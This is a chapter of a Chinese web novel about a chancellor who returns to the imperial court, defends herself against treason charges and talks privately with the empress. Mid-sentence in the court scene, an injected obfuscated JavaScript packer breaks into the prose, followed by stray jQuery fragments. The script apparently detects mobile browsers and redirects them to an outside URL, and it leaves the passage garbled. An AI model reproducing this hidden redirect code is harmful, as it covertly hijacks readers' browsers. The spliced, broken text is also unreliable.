踏上金銮殿石阶的瞬间，孟冬辞有些恍惚。


    她当是因为自己跑了一宿的马没缓过神，因而坐在阶下歇了片刻。


    可直到听见殿内的吵嚷声，她才发觉，上一次自己站在这里，已经是五个月之前了。


    在临邺时，她日日盼着回来，可真站在大殿前，却蓦地生出些近乡情怯的错觉来。


    直到身后有人试探着叫她：“孟相？”


    孟冬辞回头，见身后站着一个女侍。


    那女侍见她回头，快步走下石阶，伸手来搀她：“真的是您！您回来了，我这就进殿通传！”


    “不必，”孟冬辞借着她的力道站起身，“我没来及回府去换官服，算不得上朝，就别通传了。”


    那女侍一怔：“可……”


    “这可不算你玩忽职守，你听，”孟冬辞朝她眨眨眼，“里头正为我吵得不可开交，我得悄悄进去，听听他们是如何骂我的。”


    那女侍笑着点头，指指孟冬辞头顶：“孟相，你的发髻有些乱了。”


    “多谢，你忙去罢。”孟冬辞抬手理过，深深喘了口气，方拾阶而上。


    越往上走，吵嚷声越明晰，直到她对上姜瑜的视线。看着姜瑜眼中一闪而过的笑意，她竟觉得喉头泛酸。


    跨过大殿门槛的一瞬，后排的官员已有人看见了她，这些人皆没见过她不佩帷帽的模样，但仍认出了她，她能觉出，她每往前走一步，殿内就安静一分。


    直到走到最前，她先偏头看了一眼空着的自己的位置，又看向正与姜瑜禀报科考一事的礼部侍郎邹咏白。


    邹咏白大抵是没料到她会在这个当口进殿，立刻垂首避开她的视线，低头将正中让出来，自己退回了原本的位置上。


    又回身看了身后的众朝臣一眼，孟冬辞才转回身，屈膝跪下，朝姜瑜叩首，高声道：“罪臣孟冬辞，叩首领罚。”


    身后顿时一片哗然。


    少顷，姜瑜的声音自头顶传来：“起来回话。”


    孟冬辞才直起身，已有一双手朝她伸来，是文心。


    文心搀起她时，借着她衣袖的遮掩轻轻拍了两下她的手背。


    待她站起身，姜瑜方开口问：“你何罪之有？”


    “臣……”


    “朕来说罢，”她才开口，姜瑜便出声打断她，“朕要你去新崖替朕查抚恤银贪墨一案，你却擅离职守，就算是养病期间被人掳去洪辽，以你的能耐，难道不能传信回京报个平安么？”


    孟冬辞对上姜瑜的视线，见姜瑜定定地看着她，这是要她顺着她的话说下去。


    可若是如此，她就是在尚郴府中养病时被‘掳走’的，将她这样身份的人带出新崖却不为人知，非但会给尚郴招来麻烦，就连新崖城防军也会跟着遭罚。就算这些都能搪塞过去，若此事轻轻揭过，那大煜朝堂中洪辽的内应，就再难找出来了。


    就算元戎已‘死’在了明面上，他的人搁在朝堂上，早晚都是祸害。


    孟冬辞几不可见地朝姜瑜牵起唇角算作赔罪，然后开口：“回禀陛下，臣并非为人掳走，而是主动离开。”


    姜瑜蹙起眉，搭在倚子扶手上的指尖有一下没一下地轻叩，瞧着有些心烦。


    “平娄军围新崖城时，陛下曾往皇觉寺祈福，为期三日，陛下离京当晚，臣的画像莫名被贴遍了泓都，当时正逢新崖生乱，臣不欲声张此事，只着手下人悄悄处理。


    “新崖一战后，臣奉陛下命前往新崖查抚恤银贪墨一案，经查，是尚知州手下办差的小吏经验不足，弄乱了账册，此人已罚俸一月小惩大诫，之后臣本欲回京复命，却因偶感风寒病了一场，养病期间，一日臣出门透气，在尚知州府门处撞上一个行脚商人，那行脚商塞给臣一本油纸包着的古籍，只说是旧识相赠。


    “可回到住处，臣拆开油纸，却见那古籍中夹着一封上书‘签婚书，大军退’六字的婚书，另有一张与前日贴在泓都城中一模一样的臣的画像，那画像上画的是臣六年前还未入朝的模样，但题字却是‘左相孟冬辞像’，臣便觉得不对。


    “当时平娄大军已撤，但他们起兵起得奇怪，撤军更是毫无缘由，臣心生疑窦，与尚知州说了此事，他便着斥候往城外探查，果然见五万有余的平娄军蠢蠢欲动，当时西境长公主调派的援军已返程，新崖才经一战，若战事再起，兵力损耗定然骤增。


    “因此，臣瞒着尚知州，趁夜出城，独身往那油纸上涂着的位置查看，油纸上写着，新崖城南十五里，有一处木安茶铺，臣到了茶铺后，发现那附近埋伏着不少平娄人和洪辽人，臣猜测，新崖遭围，以平娄国力远不能及，其中或有洪辽参与，因而将计就计，上了洪辽皇子接亲的花轿，一路到了洪辽。


    “往后种种，陛下已经知晓，此事是臣贪功冒进，以至擅离职守多时，请陛下重罚。”


    孟冬辞有意将授意林融霜假扮她这一层隐去，又顺着姜瑜先前的布置，真假参半地编了这么一个漏洞百出的谎，想看看身后朝臣们的反应。


    先开口置疑的是尚书省右司员外郎高先：“左相替那洪辽新帝除沉疴，理朝堂，竟想以贪功冒进这么个借口将通敌叛国之说草草揭过不成？”


    孟冬辞闻言回身看向高先，淡淡开口：“高员外郎想弹劾我，这本是你尚书省的分内事，但凡事讲证据确凿，你说我通敌叛国，还请详说此事。”


    高先问：“你在洪辽设局查贪，致六部百余人或斩首示众或下狱抄家，可有此事？”


    “有。”


    “六部贪腐一结，你就与洪辽右相瞿众私下见面，你见过他的第二日，他便畏罪自刎，可有此事？”


    “有。”


    “之后，你借瞿众之事先后扳倒洪辽四皇子和大皇子，设局引他二人逼宫谋反，可有此事？”


    “有。”


    “他二人伏法后，你以大煜左相的威名助你的夫君元珵，就是现任洪辽主君登临帝位，可有此事？”


    “有。”


    见高先不再问，孟冬辞方开口问：“以上种种，哪一处能证明我通敌叛国？”


    “孟相，”尤绍接过孟冬辞的话，出列问道，“离开新崖前，你是什么身份？”


    孟冬辞：“大煜左相。”


    尤绍又问：“可下官听闻，在离开临邺回程途中，孟相曾遭洪辽老皇帝元戎派兵追杀，是那新帝连夜带人相救，甚至为了你弃临邺一城百姓于不顾，孟相既是为那新君胁迫，按说那新君登位之后该除了你这个后患才是，怎么还舍了自己的清名出城相救呢？”


    “因为他能登临帝位，是因为我助他得了民心，我若死，他一样没了清名，”孟冬辞说罢，往尤绍的方向走了两步，朝他弯唇轻笑，“尤绍，五月不见，除去做了耳报神，你可有别的什么建树么？”


    尤绍往后连退几步，拎着手中笏板指着她问：“你什么意思？”


    孟冬辞自他手中抽出笏板，将那槐木板子转了个方向，倒着插回他手中，轻笑：“自我在匯泞附近遇伏，到今日我回朝，一共六七日的光景，你的消息很灵通，都赶上军中斥候了。”


    尤绍蓦地抬眼，又迅速垂首避开她的视线。


    “尤绍，”孟冬辞曲起指节轻叩他手中的笏板，轻声道，“拿人钱财替人办事算不得什么大错，但别为了那点金银搭上了自己的官途和性命。”


    说罢，也不等尤绍反应，便转身回到了自己位置，才站定，便听身后又有人开口：“孟相威名远播洪辽，只是您似乎忘了一件事。”


    说话的是刑部本部员外郎罗少垣，孟冬辞回身看他，示意他继续说。


    “孟相在洪辽大展拳脚，只是你替你那夫君整治贪腐、重制律法时，可曾记得自己是大煜左相？”


    “自然，”罗少垣这人一向爱钻牛角尖，生性却不坏，因而孟冬辞转回身，淡淡答道，“但我治贪腐改律法，为的是洪辽百万生民，不是为了某一个人。”


    尤绍立刻接话：“洪辽贱民，与你有何干系？”


    孟冬辞冷声道：“生民就是生民，诸位与我共事时日不短，当知道，在我眼中，人无高低贵贱，百人我救，一人我也会救。”


    罗少垣再开口时已略缓和了语气：“孟相口口声声为洪辽生民，是本性良善，可孟相是否想过此举会壮大洪辽，长此以往，是否于我大煜不利？”


    “这便是我扶元珵上位的缘由，”孟冬辞答，“我已与他明言，只要他在位一日，洪辽与大煜，就不起战火。”


    “孟相好手段，”尤绍冷笑，“竟能叫千里之外的洪辽皇帝对你言听计从。”


    “他听不听，并不要紧，洪辽现行的律法规制大半出自我手，若他食言，想瓦解洪辽朝局，于我不费吹灰之力，”一宿没睡，孟冬辞觉得乏力，不愿再听尤绍胡搅蛮缠，因而抬眼看向一直未曾言语的姜瑜，“此前所问，臣皆无愧于心，但臣仍然有错，不敢巧言脱罪，请陛下重罚。”


    “好了，”姜瑜皱眉睨了她一眼，看向下边的其他人，问，“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717353|174735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    左相之错，朕自有论断，待朕下了旨，众卿若有异议再吵也不迟。除去此事，还有何事要奏？”


    下边静得针落可闻。


    姜瑜摆手：“那就都散了，左相，到垂拱殿去等朕。”


    垂拱殿内陈设一如往常，姜瑜喜欢的梅片和银丹草清冽的香气略冲淡了倦意，孟冬辞抬眼看着头上她老师亲笔的‘允执厥中’的匾额，又想起祖父临终时的教诲，极轻地叹了声气。


    “朕想替你圆谎，你不领情，朕还没叹气，你倒抢了先，”已换了便装的姜瑜自后边转出，往她的方向走过来，“孟桉，你愈发不服管教了。”


    “臣假传圣旨，擅离职守，”孟冬辞屈膝跪下，朝姜瑜叩首，“请陛下重罚。”


    姜瑜的声音自稍远处传来：“给朕站起来。”


    孟冬辞没动。


    少顷，姜瑜上前将她拎了起来。


    “父皇下过旨，私下里，皇家之人皆不能受你的跪礼，你忘了么？”姜瑜皱着眉松开手，“你跪我，是想我违逆他的意思么？”


    孟冬辞躬身回道：“臣有负先帝重托，陷陛下于两难之地，合该领罚。”


    “是该罚，”姜瑜在书案后坐下，问，“你离朝多久？”


    孟冬辞答：“五月有余。”


    “传朕旨意，”姜瑜偏头看向文心，“左相孟冬辞，罚俸十月。”


    文心先是一怔，转而笑着答应：“是，这就去办。”


    文心应声却没动，看向她的眼中全是笑意，孟冬辞见她笑，绷着的心弦骤然放松，也跟着笑了。


    “还笑，”姜瑜剜了她一眼，挥手示意她坐，“你也别不服，你撂挑子走人，一走就快半年，朕替你圆了多少谎，多罚那五个月的薪俸，是单赔给朕的，回头拿去打支金钗，日日带着叫你看。”


    孟冬辞笑道：“是，臣认罚。”


    “知道你清廉，”姜瑜抿了口茶，“到时候若是府里揭不开锅，朕准你带着融霜到宫里来打秋风。”


    “陛下开了金口，那自然是要来的，”孟冬辞接过女侍奉来的茶，待她退下，方说，“但陛下只收留融霜就好，臣正打算向陛下请旨，到牢里去住一阵子。”


    姜瑜不会没听见这话，却只问：“融霜和二哥呢？”


    “半路遇伏，融霜为护我受了重伤，我将她留在新崖养伤，二殿下陪着她。”


    姜瑜闻言立刻搁下茶盏，挑眉问她：“你真舍得融霜嫁二哥？”


    “舍不得，”孟冬辞轻叹，“但小丫头看着，是动了心。”


    “二哥虽闲散，但性情样貌皆是人上，”姜瑜自书案后起身，在孟冬辞身侧的倚子上坐下，牵起她的手，轻拍两下，“冬辞，若不是二哥先提，我本打算给你俩凑到一处的，如此，咱们便是一家人了。”


    “陛下别开我的玩笑了，”孟冬辞苦笑，“我与二殿下太相熟，实在凑不到一处。”


    “怎么？”姜瑜往她身边凑近了些，“那洪辽小皇帝，生得比二哥好看？”


    “倒是……”孟冬辞失笑，“不如二殿下。”


    姜瑜捏她的指尖，轻声问：“那你怎么动了心？”


    孟冬辞先是一僵，复叹了声气：“臣的心思，陛下一向洞若观火。”


    “别人看不出，我还看不出么？”姜瑜忽地伸手夺了她腰间的荷包，长叹一声，“这东西的颜色一看就不是你会用的，孟桉，这才几个月不见，你就与我生分至此了。”


    “不敢，”孟冬辞苦笑，“实在是无颜与陛下开这个口。”


    “这倒没什么，谁不知你一向喜欢生得好看的？不过若有机会，我还真想见见那小皇帝，看看他究竟多好看，竟能勾走了你的真心，”姜瑜把荷包递还给孟冬辞，问，“在洪辽这些日子，可有受什么委屈？”


    孟冬辞鼻子一酸，轻轻摇头。


    “那就好，”姜瑜点头，“刚看见你留的信时，我真气了一阵子，可反过来想想，你做事从来没为过你自己，若你真为了新崖城丢了性命，我就得到父皇母后的灵位前长跪请罪去了。”


    孟冬辞瞬时听出了姜瑜的意思，姜瑜在告诉她，无论她在洪辽做了什么，无论朝臣如何弹劾，都由姜瑜这个皇帝来接应，所以，刚刚她才没应她那句要到牢里去住一阵的话。


    “蒙陛下信重，”孟冬辞站起身，朝姜瑜躬身行礼，“但臣意已决。”


    姜瑜冷下声音：“孟桉，你别犯倔。”


    “请陛下将臣革职下狱，以正国法。”